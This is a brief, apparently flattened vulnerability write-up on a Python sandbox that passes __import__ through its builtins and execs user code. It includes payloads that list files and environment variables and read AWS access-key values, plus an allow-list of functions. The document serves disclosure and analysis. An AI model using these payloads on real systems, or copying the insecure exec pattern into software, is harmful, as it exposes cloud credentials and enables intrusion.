python '__builtins__': { '__import__', Allows dynamic module loading 'hasattr', Object introspection 'getattr', Dynamic attribute access ... } python compiled_code = compile(tree, '', 'exec') exec(compiled_code, local_ns) Executes user code directly python result = __import__('os').getcwd() python result = __import__('os').listdir('.') python result = list(__import__('os').environ.keys())[:10] python result = {'aws_access_key': __import__('os').environ.get('AWS_ACCESS_KEY_ID', 'Not found'), 'aws_region': __import__('os').environ.get('AWS_DEFAULT_REGION', 'Not found')} python ALLOWED_FUNCTIONS = { 'boto3.client', 'boto3.resource', 'boto3.Session', 'json.dumps', 'json.loads', 'len', 'str', 'int', 'float' }